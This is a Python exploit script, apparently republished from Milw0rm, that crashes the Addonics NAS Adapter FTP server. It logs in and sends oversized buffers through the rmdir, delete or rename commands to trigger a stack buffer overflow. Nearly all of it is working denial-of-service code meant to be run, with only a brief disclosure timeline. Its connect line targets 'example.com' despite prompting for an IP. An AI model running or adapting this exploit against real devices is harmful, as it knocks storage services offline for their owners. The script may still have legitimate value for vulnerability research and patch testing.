Addonics NAS Adapter FTP Server多个命令远程缓冲区溢出漏洞

#!/usr/bin/python ###################################################### # Addonics NAS Adapter FTP server DoS # Tested against NASU2FW41 Loader 1.17 # Coded by Mike Cyr, aka h00die # mcyr2 at csc dot_____________com # Notes: Since the HTTP server was so vulnerable, is # this really a suprise? # Greetz to muts and loganWHD, I tried harder # http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily # Log: Vendor notification March 25, 2009 # Vendor response March 26, 2009 # Milw0rm release May 1, 2009 ###################################################### import socket import sys buffer= 'a' counter=1 ip = raw_input("IP: ") un = raw_input("Username: ") password = raw_input("Password: ") print "Vulnerable commands" print "1. rmdir" print "2. delete" print "3. rename" command = raw_input("Command to crash (#): ") if command == "1": print "fuzzing " + ip + " with command rmdir" elif command == "2": print "fuzzing " + ip + " with command delete" elif command == "3": print "fuzzing " + ip + " with command rename" else: print "your an idiot" sys.exit(1) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('example.com',21)) print s.recv(1024) s.send('USER ' + un + '\r\n') print s.recv(1024) s.send('PASS ' + password + '\r\n') print s.recv(1024) if command == "1": while len(buffer) <=512: buffer = buffer + 'a' counter=counter+1 s.send('XRMD ' + buffer + '\r\n') print 'rmdir ' + buffer + '\r\n' elif command == "2": while len(buffer) <=523: buffer = buffer + 'a' counter=counter+1 s.send('delete ' + buffer + '\r\n') elif command == "3": while len(buffer) <=526: buffer = buffer + 'a' counter=counter+1 s.send('RNFR ' + buffer + '\r\n') answer=s.recv(1024) s.send('RNTO ' + buffer + '\r\n') answer=s.recv(1024) if (answer == "550 Requested action not taken.\r\n"): print "Stack smashed" else: print "fail: " + answer s.close()